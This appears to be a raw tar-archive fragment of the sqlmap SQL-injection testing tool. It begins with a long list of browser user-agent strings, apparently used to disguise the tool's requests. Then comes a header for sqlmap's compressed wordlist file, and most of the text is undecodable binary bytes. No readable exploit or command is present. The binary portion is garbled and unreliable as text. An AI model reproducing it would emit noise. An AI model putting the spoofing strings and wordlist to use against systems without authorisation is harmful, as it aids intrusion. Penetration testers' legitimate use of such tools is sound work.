Safari/537.36 Edg/87.0.664.55 Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 OPR/72.0.3815.320 Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0 Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0 Mozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284 sqlmap-1.9.6/data/txt/wordlist.tx_000066400000000000000000271340111502261744200171530ustar00rootroot00000000000000PKeS'[\; wordlist.txtUT ctaBtaux tyc8.O1n/8Cp%oo:)e;} pzob B _>f2kOBˤOQ8f'qBT۶p=50 M !3]M. NF7ouA77wv^|+`QڧO?~.;Ye<:O$q76?V Oh4KG z4󓄞(ڃͭ?^_u]67 }4[NQ~'Q!po2ˠngV>?~E%a pyI~~_kԥCSinLS?_tyF9:ʪ#P*N˼{ΫopeP1,]éh$8kZmŔᤨg%>ˊ︐sXW)/򌛎]NuS^B3ۜ#+|\' jѴsҝn3͎n| o9ɉ2*r$By񬢖ffD>&ﲼC|qJͦ}"/$I\m;|y?>cvl"Wԙ6Ӳ|m̥jnO;;'E~y=CWwWۛA^N7:ꀜgÛo;u=jhqq {TT%\+cB}xs@pݻjC&ok6mzuM=+u'WXF/2T( 5@׀߾2?y^E>ΔKI(܏W_3p9$ ݄q['wD?tq KNOJtTw`!t]Ыר"ij!0Է:GEtvSV5xMO }TuOO'ʟ!!w̲E Dyt)*#zWE1=J}>fcE]Ft7Q2j*oJtbHb9˫j- ]jF]?[we~@{NuPn9o '[!qH{AK^= o^:rM؇";|u U:&NP1~vn+@yx;|{~QH&0FS)H|]uk!Hωkxsԃ 9 &:j0̌J"7eNǝ} x׿P:̛nzqq8q%CŐe]uz_r>c%_:ӣ&t\Ƿ{'gǫ 3'R%! dxMŗ-WzB~zp`=&;W?[ZG|k#9nh=i+vIgY<~>;;Y >}DM^rVM#tFËzI0 8?1XT屩$olC*&3]GI)53-RE?-RWzq,!)3VWy557I9J?}$YG+{ӺQi]틇 ť+}/YI>0^S|+txTo0XS93jɶg`4Xqq[ݭI%|̛EI5:t7ir}/^nm s4& ػ<"z|h/A?g_ ćGgfTS )OsR4l\f}'#]]:|UtPûnb$:ԇǐ ;4xL?M 52qܢK}t\ȋcۣ;k#vKf梾NPGQMUB{t '7N4}#ucuA{X#\c]g8+>`cNQ}#k'O]3Ow]ám>o. <1IEf lrIt(dE>wN+g-uz~qq~zwtys}]]W̳ >$$tunIY@7zͰsK4k|1Mk/ j`\cE {uBOh GbṪk2>|t탞DJ%1~ XWz4I>4xstk JM+:Pzԫ w6 2<&74źZ5o.'wVn'Dn putCWuE~N7 2t5Ҡ.szJ{Q +;>@.=o'DC^@ \}̣g tU`kuX^ww_B1kwwr}"[/vn%`8轁A4ΗYj</d?_6O|+'Qo֭ uń|#r@ 0ibJe2`_ xy%getrOtO'W$>r iuܯYlƝ6u?"r;:{aP;j@x\קyT4mf%B t;ܻD]~vHZz펫N`>n|n\W ػT-!J`Xw`IB]=`2eA"6^y^ynQ_/_RI 2u0$mwGy[y=C~kaU@r~GU^?^ol.=gl|+4zÌo @oEU8E:SݒUkmD5, ]]^* Ճ.'P.4Pu5z^NbQSeJQ-,;2`4 E1?.Q?e>)9XHčG USM3H77A1O,7=yd1o,V=F vWm vC賒(1qi:U ]0k=jEo{i*1]UOK. E=XqmbQ4u0'u@9B1f,IWEn|c1 qn~Ѱ9aTٚ0QM85uriNh  jRƵ"{.3݉m>fNgG#^&?nܠ-ͮ?4&8v?%T" 3Z7'5e!u:AzGSne_C)ZhFՂhz u qVVIyJn?HIB3.wd[c0Sqc0`#Sn 2ݮ&#ԑd0H&6 (挒Ȋ˙r)BܘyV,#TV}3Ji-+ U{yDSD͸ LeQ4\XAbI)J@k\O!jA~ A(sד Ho&ǚ"us0BT&S}0&g>e&t{^ec Ǵ6״N:<^FN]QY3(&AGČʽAI'b۬4FDz(;*XYϭI2UH$6;ju̩&Ҵfuy̺<礌͈i.J0R>[/xr,ɼ2fἛՂZsh a|uȟh{dH;Jݺ>&XCs|n)W$Vx]@4*t!BMR%\Q_TFpA΢N|I@m7)~AuP,E6gŌ3rb"9s(QQfc[t]>]= -koA} x[ jHC4uAjS<(/Ps!!uy:+ %^^ ߒZ^emMMXz, ?o?AEp]f2ѽ-G#C\aM ZX ݂ 3vcƐzA-@e$)PHh-^~Mwm6ynlgdE@ig:W3Cjz ْMF8/ &vAB8hhr\G/h+=I!<.5G E1L%̋7+M0֋Iy@Ssm/ CT7KgIϽEOIRWE.3kmx&-/(nB*Q5 ErqeԸ5]5CJ0(4R +Ŝîo1ڵ[CD*~< m+ڕK?zcz}ު$ncz̞(8X~ӺFl\g}mS҃bAx4':C,oҫ@5U ٯYTn 0jw!u>UIR74~)L@?GzO SPiO00PB*M䉟mH\kz Jtk 6hs>4@??w2  ~xz/< 6=^/[wGg0&.m+~/_8hom '~ra?nF_>|GEF_+@K:f d #t b _Tp` qK=u WB츺_w`./ 6qc?ln~I0:Co}wlDjeVut M%>\)$jR|0} L쑤tx1ܺAl4`Н~(nrhB}x6'h(^<+'qp[?mb$4oK@}Ȟn bHS-& |D9w6q;$uqysrO4y;uBdd;Ta)1o`qpqx}ޢ%oor:?Y` âo^ͣw1cc=FDO!\"}?:աN'PNoo6Nِ+DxgVywڠ"3[ p~qʹ/vO 6?19#oX䑧}HC]8vwA7r.i-ƃy9׮43y9xBJ出b!~&Pn߆+x -x5<'H]<ݨz2qstn\GoA!8FErQ۳o }'JgOɞPYx~Ԃ;z|í3|{rx{muh}=xP}<@>\]C-UH}QT/G;,P󛔓o{+&`07:ل~##G>T!G㲦J7[i|R7ͬA01|uLgS,G5yHO4ڑV3/t `t$FI#&;Oe5MoX?Ҍ?MnI-jqIt| Y2?tQ:@/NOP͔Tk,f2#T@Ej(&&P=r06FDnFN8"Zu4OE Yj/zBʂX] Dtgpj]aӌf=79du2u{nH&i'xГ&Sٓ4iv7'h7dN#fjMMa%~n:cqV7i9NC 3M&? a8~IғxKĎfRiF I dՁhz Bvo.r4Q"!票7Pr=SB>DK]0[/0,AW#cTCs@luԆمGhYh:Mk&u[`䮫Fłk1muLU񤯘I|TFVKE%=0n0 "oiCYj6xj|R\.&7njr˰)G\Mi?Q7SV5#&tuS"P?] ڢ+gXÊU`Ol 훘r9V+]]=~Jls­1IFeu&8:L -ꮧP^hk($䷵-ș գ4 Wl(uZ7&+YGz )S3˟7m^OVW$MyKr.fUGҊR%JBѻRf7ǽxW(@!(t,:HGmVPԭUGzBP~C.l!|FJsVtovu[SeńLgdgx1mB't0#z*-v4J}Ϸ[dxumQ^@{,gI ObD+tuۏ`#W"쳮P#Trl|wz|D+dYK3hmߜ!,5[  xw] ^huGL Cڊьw=wCh|E[ĶN2Z [n[[.WDNmmy* ד`7n|U@wץiKbB4nKVA(+輛MzHx8,duDNJGA ^JxO~?v6"ъ6lmkZ)=`[ vĹEIt M2J8Xg-; kï;Ԣ#xùVN;_M=zHGi6nr8Ρ'RC6KP=cdbZ-M&^ānhպo}c~ƣ0QgwBAQQRJ ]?[xIÖzi bA^(ؘȷw#x;ɢQ;սBEx_E/A`&%̔.%& /޺? '}` l_W ^Ҟ={Ї+[YGOxR<ӵ叡:4))TޯI HVhE/':*Ԁ,뼢0S37?Ԋ.hfmݽﳊlBg7!ExԠq_?Fu#2 ^}>lų3q.Svx a[}>K=ݡMޟܟI4J ;kf~>(s蛳GF+*D/.1iq5F*ݱurp{q}h['gh%[>_@N|zEQ"l~9-2jP?U{^a{A9NByh08(g![V _݉; EV̭HEQD.n(p91D+&+Jg>/o<|:?[goGgp4@}&9qx2rhUo_ #DӪXZ?)h[W7$q1[ pi3L~?ϟ^EWoد!Tۓ{ǿg{.Oݝߝ?ܠXw'Ow_g.GBuK!ϻ<;u(tol4j]ߺ^PݟWgDϯN0./>ҽ{}p>3w߫hCn77GNltGc֑r~}:=CffP EyABܣ~/ߗ1ZY_cM3 "E#0?u#UrFKZ`aZxJNN/-|I@4WmCƍ$4HQAYRy5-j:Y,Stͬ`@/:p,f4 *KG< 4{z*?v#bZ4*H,69ՏLZ$%cN`vO79xtf+[e[HH:; k̐KOuKpPa4 <%%k4te]li5߲qr~r]"e5/̋|^uy@gʼs] Kc csVwӾnG02:[BTlE)h!neCIu \)j|yv|^9jm /?֭}5`{zCfۛ_G{^ñqkZ &jx|yN`w?zz_7!߁Y_RO7ٹ?^~rڨ^Qn뛷o_}z`FxM>GNx)cl;Iv%Z̷yxzI۸  YqUrX/(vm˞ <5m?T`zK? z;A.v zDF.]x3!gw:v2NT.rDᩮ$wt>|AԹ  j+D5>&T4| ^*}n6w{; x [q~Cu_? /z/ Dv^}/z{$c7rl]WQ^ֿkK}\n%n&Lܦɚ[dq!rwË' aMG ys 󷆊sq|ͯ{!Jmx='0A I}G |?ʗNG{` ;-gQ=!y"dn3"n:yVĈRGFy1 Hvh!1Tpk< o%E°ǴQPZ۰|'Kxq6wSzaV9-d$o[5Zm^|}e/F_anӚW-=}u2=5hKl&-vhZswiAжIn&Kn vo v-y].ݽ;<9}ſ;gY? v>onH drqqn*`,F vn#9^Z=990 כ/dƆο;wO'?d&Hv]7@O;~:|EV\يpEգuM:Ngw3)tTե3u :cۑGexTt4.)N5ՠ<3]vdt*Q#ϠZǥŴՙ -=N^ȅ#[߻ 0p]=`eg{)(/Gzu(Qr̒ha(TيtgaB~u`gI.GmxLF *".촰:!&Gx1&$iaSR'SnWy9!_!89 O"ۋO6d_1d+oX"6;ky9|k~+'Wq|b94)-z|y\ݟ~snVWazmDBcp1Dn1ZO)i\7uLG OZ͟-FO DAaUuS".ˈV~{Os^`Pcxljj[`e|7W[v^ý^>zC?OZ,pM5o$pZ?A'On1o`` ^풰0dƫ׼ X%Ç)Yf.xս8ׅG~n =REhS.w wW;kzMqbO[ |;KZN6BNz}z+4_j*<@WC ~/('WrZJ.+u9^#7r NP}Mx|{2Whwg_^@0\:s'BoW*,3ȫE]OՍm=>~EoyuG mHV't#^C]+|k]}8'n|>/WuԃWßop 8uSbyּ&WVAz?BxSC#c Žkr-\i_?}Byaհa2կ V:%m!Eb2(O"K{ڑ=PSʀ9 |jBiy3&icA# 8,3:2+~'0F#8!7ün!}_a趯^-`N^;zzR?!( CSj^dn~-:M|͋j-^S!)6tӕz,SJ#U_=q׏$pWuO,kX2lj[J#hrZ n>;e՛נG3'5l-i>Qe3: ֨.i):ee]}rխ.HJ% A% ).dooƫ]W ^o^ ^H5%O&pgWׯ_G yhzQFG4s#:|5x}iۧW:ft{7x}w^߾0xa?s;0}3x]x(|97hGtztOьGw7L9owsgkwn@=KPة7i*Vn=\^iw@Zo[qv )^*ނ3"My8 ?g˺lm{`߯.굢K^/xC(ݭ$A^  λ/B??/^9 DYYz32cBDVDLHeG[&0ǹ E/l +8޽ o)V'0> t^?Hݣ^?!Eg ("7|kc\k쾇vL?Z|szjgYU) SӾO Trb|{P0Dt_K۴*C®;X5bG^Zj cf瑔ZMGsN3į{i_zY irˌ~|i`TYy7وoVR'UzT̼ koo x(Svw]Gݸ:P1lBzs..b幎 9 .hūl K>B?i6G"(uw)P7 w#v-m'h9c @eˍ]J$p|On~H~.D0/>bCF3J E\+K&/݄ \o MAZCAd5JBA Wr>AAvUKG94~߇G /%x+cQ%xug׶sɉヌGT,sسp@=yPU4&?"`vx~uxiw^QC(Eh _Dx.b/0C-5eGYCruqa= L n<)|eGTy Qo>F:|7C7fa jفgw #Պ9 TO|1M^01P%؍b/)Ď@rZ"H>_\~u_m;(>uTB:{UL ۣ#|3P"Èc/7wGzHKIbKp>Y:%8::=/x!{tqryz{ry^A?QGb=8bK 尃^?QCɯex<L+F6ЋKeȺY=!9qQQ'T<~ K:n.)''W0Ytr hR=E1H$<z@o7_,PGw'#7<^A18dyW\`}fSn=uvJk&7)tnd+iyK_Y1wg:NA=Z|~x8?1! 2n6Fa>k2؀GUϻ b7 p{קěǻth<]@p E'viyti+G4a{yݟ-_<˻5bFi52oZD]}PwW{@׷WPרg:!55rp&wu$O:w}߽k;[y;b=?:Cׇ -r:)z 5Fq;rz-vw_]_%|.x b?mҥy^m۬5S:YQPz:A]s:WGϹI.fgc ݬ} 3:"2C5!> ?^>Hcd9wFN>bEt/SJ׏GԫE_Fv?vaFS^Y5/ֺZ?m*T|[O0ngsh]izQ;E#.;JHkO^t.D ):Ri~]QS'V[GzđљA)n>]]'VGrMGE2l(_ԮyCxw:g\Qu-3p̫:N3h!QMi.ۭbeo̴F7;'0߷dI#-҄ǺMtBY"}DvÈ;P/ ZO垞4BMF~]7TEV,οF I vS;1(13)`6t@o3Z?Ef:o`v$j@(K)ivcpҺiKHoCvӾ\ PlFDy(0rf]3;u-Ff5К٣ƠI`PTۓbwG-Vĥ,M@mĻ> t$~K'=&1&"l*8f8w2ň)* pJi\B(LxZ2K.o+dt?X$ "ݘ=5u]E\sczV &gPWTtkD¨ 90it}O!wFT;?t!^p {gDrȊ].}* hjpQox j%mȋiF ba;?CRҧݸsuu1Gy-XYgSU{ 9 Cy)zAuAr/^k|^1F,.9VkD%:M|G&(\ճEգ)K.j.=.|yם?2 2+tZLkb%Ae!Nc@aרL|=]U@8 fᣵ%MOF< zLcP/0uwz0<ލQ4&%} ¡;T:m 5?\h"e^Bt!ZeH^u c^'@OBS;nlwOP9EN%%ڦih[΂!YSu6)4-B#I0+]y]ԓf~(mz*xQ}#e"}B4nKeOoD1PD]<} dѰ2͞rL|H`&ˑ8"_.K-g M̛f !jA@[YZ7$r12.E#h8l9H1ad'f7ww3:@!G݌ +( A'iGq,tT]]Nn/ -i eqZ|d!tWyGK]O0 x]֐a5|r8mxi{Cc?!u¬yW'>ӊ {~Uwoo6z)fS| XF\WPAO;_ovaL&q=miʈ/j ^`8A (} yQ=w-( 'mH,ci.&s32s^@q>M_+*}78_zjYt|( )mS.KbJg C)~s%x։V8ɞlOKoahߠ ]?ڣd߸a'nQ0wexH-F]+-}^GF( pA_k.> ބ+PAS~D!XD9Q8̀AH3tç3!$o9xsoH8ta-sr~o~Y 322?axs1fKHohZ ,}T!\myHh|+DpŽ;}v6xzQH =:@&#FL@qF`}'r}Jȿo!V}9ӡzN_i$Kꛬ:3Љ@o8M =@CJU}Y(GH4."[EzNt ֛rE `gN[h/vLirj\f"#楏Ki \Y׮?i=~CiZk=ޤZn+<Ңs3: wg}}}ѷ|`񵢐;Ak㟆$42o 8 }V}&wSzԠ?oo!A,mQvH"=j: ߎs 2?p=}CGԋ>}ǻO;HvF5oGjNfmZP ٬?ƌdh&tTLffK$ PQi̚ b>5#n_h= ‘Τ`ۆ#Cp .&vcE'Us=jP+?yILsb N⤮;Z EP/7{t޴ӊ\dZ孆ںǪaR*fݟu%ʛOE{"r4_Լ_.s6mB:|o[kSeAP=A>==aCŬ3juw_?>_fib[ϐ/#\!Jo'U}>߻ONm [ bПO uNM+՚\1,DҌzB.,K" }S]V#s T?~|\WD@09Xpp!FVЛ!=pGfu^e|SBg\k爖):̂?5:oػLc IXW,^?(>?g-GÄ ֓Nv ,nFwNi. eaP@?LND6W*x Dgy@MG+asSHZ)~B*K\ԑK4 xDtb~t;i@溂N7EV@xzM6p=CQ|/?"z/UJ;rP8'ԍﳱ)Y0} FGDЊ(+,F9P|Ctll>x%.KN>}.*EJ߫_ߟ\3BCwj зxto rQ#㔬-(ܰ+xGN^c:B'y- ӂU)v[ :~c/O.z%p?|;ؿ?;G~q lCZW p}8@Z(2#jv?Zj/ l7bAkXyQ/kAS6ZJ͹M ̆ ^uwQ> Nw'h\<_]P1rhs;+FITRD/=#t++chX#ZCh#:]8_گ_߁`1@ӀS=mޯѠKG2`3F#]҉50+弥eE ɥe-zxщ8 NsD@Aទjћ`Ff7o&-jj'ދyXPŒVsovٸn&L-崟uhtN~MvQǼ4~>:|UTi鳳pNi; c\G 4\凰;%ANwn?Q{;:zz${{^^zs{9|}:z=h~`ݷ#NヌEh)k?h;}L#t1q PE"@6O㻊 jP "weR/]&ʏC/tLk8QFCVAz |o] >.6$gDAKx4<os 7,-# u%9l}E*x̀~)3LQGHwwOЫ*)Iy_?~ *yM* {CQID}g<UGȚZB??=՟N+x0=3Ϡ ~&~~KD lKBN%K *mW){˵cz8Esl7l6΅Um3h nKR^. 6ʕiTl)3彀ᕁiXj*FB8Lo犤UPustx' ZO:c7sj2d*Ʉ4Y1 ^O\:10nm^8/$Ma3 4$2nRe"K 1Χ \ <  lĆIDwCZ$5]u߀Xajz)k&9RyVL4GG=ITX,1 %G}?욖%* oYQ $>Pb'Z\@L $$*C<-ka5Uzo@y7wu#1t,Q`X,2?AqlLL2=ULb-dIc∭oYⓘ2Ye#>ݬDЖXfxT4Ӆ៴NЫPy q*MDr7?%SmgIv,OIӏrjmG\" fY=҅%OdDX:SO^,9N  c M4&ȭOF @A̸G/cބ"D*)!&&z׸<2M[?7 DQlƩ?#Zn|qĆȽţ1s5t+n~ؕؕ!"ݕ!U&l,(>"1re\/Ȱs{.yr1\iח"]i!W#kcC"~pfqevQbNEE`8-XqތǓ^'  WRP=MR,tz[( 08o*J̇RP:L2lܜH"'*DpFUb6DXQ‰VhFKR[T"C& sf$%b56Nt}Gt4_tUlTE?ƚ1Zg=׏) ]!6X'茥\q S<!g A(i"R&4e#t",hT]USI02'M%rњtD4ZX8"tD%EaȄ@Sip(j+]TH QCOHz>4VSHfVHiKl?nZ d0%XgMs!xJZ?>-+}a7yM8 5WzY& 6ٌp-;I'}X``L"UM|>Oogȹ>d~JO}0"t~s5D@Z/$4$V  I/gF2Ĥ$5bW@g!hJZEh$Oxbc DpE2wH@(FN$OFL$6\6m]?KBDs# J3HY<%ՠLdX 6e-udBD=Ɉԣ228(4/ X Z bCbC< &$7aVG٧ZsV,,3=+I3djTWfJ6"ޢbIXSnx IT:}yLDʓn,J(ii3^դ`Ibjid oY'o4>`R<3OPB]!l+QAI3 J(yƕI$%* ַĎ3CClؤƎyJ$ %QWg<N(Rr/M4P"m@ ǴgI#Qi`??On,eҜw'PH}u01L0K8i_ L+I &!"($y0(i#߆/4bFKlɓVOyf W3 hJK5<'gv \sR;Dw׸(3ӗq퉼Bkt 5c Hd(ޓ׋kOtZ+͋+E EQsD$M'=^ ꘩Lո("c7o^eP|@YAQ ;ϠC ~z J &?qMrjO;n\ͬIG/0hC*F]<2 $dEr+2;84h`d8\ӊ!ۃ p$FA@.FLH?.kiilu8$z6pfE>'6@?j ,֦z3~RxaLȌqe2^Y苪 5_xɨўhޢϦ,6Vur'tԀ,}' q2_^e:ΗŒ_؛WDefW[B2AF,}Ч9XܠD COGtiMɝ$1_ 8IQ}WҕȽ3m2PLx!nG58 YE{&" MLE[dN>wZyiSuvBDywM3|?FbEVcqef륾tb?0J1/Ae_1 WxTmٲϋL`_O/×/ʞpi9_K<")iD?SOev]>jBGbA~~#sTpCǔ/J/GܕH8ʔYCqI?c߾I%qjZ-b #J\Y֓Kd J:jSnNDi6aO咓e\3wMhI TiV򲥃l#|4Y7HQ@ ̊@z1Y0@lR~-8}3{d=jLD293VP)A+0+ن mPPx_:ܞD,Ly 9DTDx DLnhFŊ8/ϑwvz Әx?2o3/H"Ek!!lބiE=+Ogc^ T#t-Kɜ9WJd#ݼj̀e Klb2b"t8e18tS^-ugʢP֗ ans UT C fLdk#t%JWDD"{,Hf=-*9 =P~ "7ǒ[}(-{Av3|9p O, 0a};}ɂC GW܄= ab[CYG$[2`e4LL(ݧCžD '91]|p9Q)kю,>]>yFvMN+fdUB\!!#!?yA٨BT[ qAU,!"Kl蝨|NbBR@?d} CdH'Sx,7pEbFfb^<"i_O#eLD\.^&#R 4ePA,Q̈^(&4n*C#* дK::gnNMc["]LY=H󅄤0hzLXeGf^4c!*A2Mj=0(:*WLP9Cpطt 3Q_l%BH |uf/Ve.& ŀ>#w fy-W39o֐ E^K.r֦#~quE_.T(RF5ǂAy/z6fq*aR7]^ JoRJR}*ǚkFTHnȂۯ^t LuE_u̿uCf=ZV\xG'м dJmhJ>Oҭz%9xK=2Z6Yf})鼢XK:]=?Pg9U-݈Ai > r<}a_gLX‰j>X  )yH-@HrY?2Mj:]Rc A,S;b> йs^KĜthI}B iEVŲF {/dUGKIx z]q D3_KDh,4"<"L-몛8)XƉqE⊫<}bVݨ&HS%QC.9}ZI64I@ $ ]+fB ̔39jղI;ĀABY 0Ycyɚs3̄z"QM̊8,;,f"u<&7p4J"+Al9bD\53Q$# .!rXBuLYOk[E B(J\% &hJĉOPJG2q9) DVPpՉL b"_@B,F/k8↏̂$eJIĂ5Dh3D<.$"Xlg킑'faG"HT(d𹢓6DdE"4l5gr)DV1nDKe%Ȅp97#mq?0d4gJ0%sRrY\Ky`$(KIT&X\<;$K~E|D?iJD1IF/T%)Xz:_lf^5:lp1z.i^aLO?CG6R}=|8γ6/[Ogevxۻ r┲wXKh>\(~8bB<꒗_r6[nȆar)v?N`)|nˣˇ[]'^uY2=Nez+ׯ_DΦ<%wq6NMx!W6D+B[Y uղ a2K\Ьt]0B{fR6 srN?YO1Y}Î*uO ekF\:鶫J`1F>}Puf,gcabl%u].ME?B(a%>?ƺ=NG X<G .!*3^t, @pϺn%;FM]/2o;~;vRWSQN~ruqiP_aJN3͠3Y!Ƴt\=.G,uJS9t4%/ Jo3ܷKbUfFBqێJOj\0^jHӆENgݸYi-eOk`JDi;<[p>O\^^seKJ):9fPRjɴ'3mGta9}Mc\wIJ(4 Sؠ.~eV'c8fz,1i"LۊOOK'yo7Nl/#tϿӂk/z$dE:J^$8ϧ֟lsvƖ؜e2Zݵ<}?G4_?B /FnU$gPCe?$)k&Sd1#Yޡ苑ܯP1C9%j#(违_fd2wG26Jv,jEDTz\㒦0ﻞ+:Ow)n 3X%#[e$G>g %}lXK:؂PK?#QZ}ȏN/׋ }9lt24Zd]eƲ]Më}+5)jIZGl3:G<_ .F3|u>EQC "jnĞmw3TXzwN|Ĉ= j#v0,}-5Ke?d-{f'mvە2>ҏӮg /g1o_- ҧsVhu뱼+9ݬ)uEٚʟ8Xߖ4<nzks=i.WpC6VneogM_P*KyXZAz5*U6e~XQgEБg/SHi dFmѷjEڣ*4=ɖ8֞lS{^u#;~;>;}D=T8?$f rҕUpLԋ&|%9aƁ+/CZT B[r%oĜŧVx?Ng!$c=i=P`"q8Y' ? P xaY`cl̶ lE 16RژCshcl̑91G6l?l̑91G6fbBlSm M!)6ئDhSHl̉91'6Ɯؘsbc~j"1Fw )Px/::|  p TwK6fN* g|L<ǰ=}3L (9IM^hH$``8'o/ғ;(>!JQKe:V1nc:M@]% &czMM1}& LB<똎c*te"o!"ԏ7ט>cz/İ:ZiHX62ØCo5jtyü!>(4\߶bW[> 2g^NɢPrVr0/XūNL}) L MJE[-^]-Kp&m+]yS9҇\a\? R/OOҶw @/rX'-Q*[ _ Mƨ_hlЈV]2*-S]̌J a&1@NxVr]4D-b}QG\r TfvڡڵCkjծ];TvvPڡڵCkjծ];TvvPڡRW|8 gӌlB?j9l" 9mbdlӉm:M'16ۘcsbcNl̉E6#qؤtbNl"Y\aݵúku];fv\vqٵ26F$6H"5}sT3v@KH_vSete͹%2þn_b85!6\lxGے$^4c0ok,&̽G]Cbӕ}aw qBs; H2ʑdaK\o(wY۷ >K,p-, kVTVTVT2̷rӷrӷrӷrӷrߺu4#fdӌlM36&dbLlcmqVZf]|+; `lLlM0 &6&mS#E}+E}cVVzVzVhVG[[[4cB)Q|`=Z?&A 